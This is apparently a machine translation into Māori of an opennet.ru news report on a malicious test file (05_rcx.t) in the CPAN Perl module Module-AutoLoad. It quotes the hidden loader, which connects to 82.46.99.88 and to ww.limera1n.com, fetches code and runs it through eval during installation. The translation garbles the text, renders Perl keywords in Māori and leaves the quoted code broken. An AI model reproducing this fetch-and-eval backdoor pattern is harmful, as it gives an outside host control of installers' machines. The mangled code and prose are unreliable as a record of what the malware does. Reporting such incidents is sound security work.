Ko te waehere kino i kitea i roto i te mokihi Module-UtaAunoa Perl

I roto i te kete Perl kua tohatohahia ma te raarangi CPAN Kōwae-UtaAunoa, i hangaia hei uta aunoa i nga waahanga CPAN i runga i te rere, kua tautuhia waehere kino. Ko te whakauru kino ko kitea i roto i te waehere whakamatautau 05_rcx.t, kua tukuna mai i te tau 2011.
Ko te mea nui i ara ake nga patai mo te uta i te waehere patai Stackoverflow hoki i te tau 2016.

Ko te mahi kino ka heke ki te ngana ki te tango me te mahi waehere mai i te tūmau tuatoru (http://r.cx:1/) i te wa e mahia ana he huinga whakamatautau i whakarewahia i te wa e whakauru ana i te kōwae. Ko te whakaaro ko te waehere i tangohia i te tuatahi mai i te tūmau o waho ehara i te kino, engari inaianei kua tukuna te tono ki te rohe ww.limera1n.com, e whakarato ana i tana waahanga o te waehere mo te mahi.

Hei whakarite i te tikiake i roto i te konae 05_rcx.t Ka whakamahia te waehere e whai ake nei:

taku $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
taku $try = `$^X $prog`;

Ko te waehere kua tohua kia mahia te tuhinga ../contrib/RCX.pl, ko nga mea kei roto ka whakahekehia ki te raina:

whakamahia te lib do{eval<$b>&&botstrap("RCX")if$b=hou IO::Socket::INET 82.46.99.88.":1″};

Ka utaina tenei tuhinga rangirua te whakamahi i te ratonga perlobfuscator.com waehere mai i te kaihautu o waho r.cx (nga tohu tohu 82.46.99.88 e rite ana ki te tuhinga "R.cX") ka mahia ki te poraka eval.

$ perl -MIO::Socket -e'$b=IO hou::Socket::INET 82.46.99.88.":1″; tā <$b>;'
eval wetewete u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

I muri i te wetewete, ka mahia nga mea e whai ake nei: waehere:

tā{$b=IO hou::Tupapa::INET"ww.limera1n.com:80″}"TIKI /iJailBreak
";Evalor return warn$@while$b;1

Kua tangohia inaianei te kete raru i te putunga. pakaru (Perl Authors Upload Server), ā, kua āraia te pūkete a te kaituhi kōwae. I tenei take, kei te noho tonu te kōwae waatea i roto i te pūranga MetaCPAN ka taea te whakauru tika mai i te MetaCPAN ma te whakamahi i etahi taputapu penei i te cpanminus. Ka tuhiakaore i tino tohatohahia te kete.

He pai ki te matapaki hono me te kaituhi o te kōwae, nana i whakakahore nga korero i whakauruhia te waehere kino i muri i tana waahi "r.cx" i tukinotia me te whakamarama he ngahau noa ia, me te whakamahi i te perlobfuscator.com kia kaua e huna i tetahi mea, engari hei whakaiti i te rahi. o te waehere me te whakangawari i tana kape ma te papatopenga. Ko te kowhiringa o te ingoa mahi "botstrap" e whakamaramahia ana e tenei kupu "he rite te tangi o te bot me te poto ake i te bootstrap." I whakapumau ano te kaituhi o te waahanga ko nga whawhe kua tautuhia e kore e mahi i nga mahi kino, engari e whakaatu ana i te utaina me te mahi waehere ma te TCP.

Source: opennet.ru